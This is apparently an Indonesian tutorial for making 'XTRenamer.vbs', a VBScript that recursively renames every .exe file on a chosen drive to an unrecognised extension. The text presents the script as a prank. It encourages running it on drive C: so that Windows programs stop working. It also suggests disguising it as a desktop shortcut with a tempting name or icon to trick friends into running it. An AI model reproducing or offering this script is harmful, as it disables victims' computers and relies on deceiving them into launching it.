Ngetest XTRenamer.vbs

File XTRenamer.vbs adalah file yang berfungsi untuk mengubah ekstensi file sesuai dengan yang kita
inginkan secara massal. Buatlah terlebih dahulu file tersebut.
One. Buka notepad.exe
Two. Copy paste aja teks ini, untuk lebih gampang, tapi mau ketik gak apa-apa juga.

Dim Drive, Root, fname
Drive = "D" 'drive yg akan diproses
Set Root = CreateObject("Scripting.FileSystemObject"). _
GetDrive(Drive).RootFolder
Set fname = New RegExp
With fname
.Pattern = "\.exe$" 'ekstensi file yang akan direname
.IgnoreCase = True
.Global = False
.Multiline = False
End With
Call Rename(Root, fname)
Sub Rename(Folder, RegExp)
Dim SubFolder, File
For Each File in Folder.Files
If RegExp.Test(File.Name) Then
File.Name = RegExp.Replace(File.Name, ".s3yamaexe") 'hasil renamenya

End If
Next
For Each SubFolder In Folder.SubFolders
Call Rename(SubFolder, RegExp)
Next
End Sub

Three. Save dengan file name XTRenamer.vbs, tapi ingat kolom save as type, ubah jadi All file, nah save
dimana aja. Filenya jadi, tinggal isengnya.
Four. Coba perhatikan file di atas, pada teks yang digaris bawahi, teks “exe” adalah ekstensi dari file
program, dan teks “s3yama” adalah ekstensi file setelah program dijalankan, dan “D” adalah drive yang
akan diproses. Misal jika anda menjalankan program tersebut di drive D: maka seluruh program yang
berekstensi *.exe akan berubah menjadi *.s3yamaexe dan tidak akan dikenali oleh komputer.
Five. Nah….coba anda banyangkan jika anda menjalangkannya di drive C: maka seluruh program
berekstensi *.exe akan berubah dan tidak dikenali windows, jelas komputer akan bingun dan “hank”. Atau
iseng aja dengan cara berikut :

- Copy file tersebut dan paste shortcut pada destop.
- Rename nama shortcut tersebut dengan nama yang membuat teman lho penasaran, atau iconnya
dengan icon yang menarik.